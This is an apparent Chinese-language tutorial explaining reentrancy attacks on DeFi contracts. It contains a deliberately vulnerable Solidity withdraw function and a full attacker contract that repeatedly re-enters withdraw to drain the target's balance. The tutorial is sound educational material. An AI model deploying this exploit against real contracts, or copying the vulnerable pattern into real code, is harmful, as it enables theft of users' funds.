在Defi的应用中,防止重入攻击是最基本的需求,曾经也有很多因为没有防御机制,造成重要损失的现实案例。可以先看一下没有防御机制的代码
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
constructor() public payable {}
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
重点关注withdraw函数,只要调用者还有余额就可以通过call把指定金额发送给调用者。这么看逻辑上是没有问题,但是为什么可以被攻击呢?我们来仔细看call这个函数的底层机制。在执行call的时候,执行权交由调用者,这时候调用者会执行自己的receive/fallback或者指定的函数。由于call是底层函数,gas没有限制,所以调用者可以执行更复杂的代码。在执行过程中,被攻击合约的状态变量当时还没有变化,也就是说balances[msg.sender]还没有改变,如果传递的金额满足判断条件(balances[msg.sender] >= _amount),再次调用withdraw的时候,还可以再次执行call函数,反复执行。这个有点类似回调函数执行。直到余额都被盗用完。所以有以下攻击代码:
interface IReentrance {
function withdraw(uint256 _amount) external ;
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint256 balance);
}
contract ReentranceAttack {
IReentrance reentrance;
constructor(address _reentrance) public payable {
reentrance = IReentrance(_reentrance);
}
function attack(uint256 amount) public {
(bool success,) = address(reentrance).call{value: amount}(abi.encodeWithSelector(bytes4(keccak256("donate(address)")), address(this)));
require(success, "attack failed");
reentrance.withdraw(amount);
}
receive() payable external {
if (reentrance.balanceOf(address(this)) > 0) {
reentrance.withdraw(reentrance.balanceOf(address(this)));
}
}
}
如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com
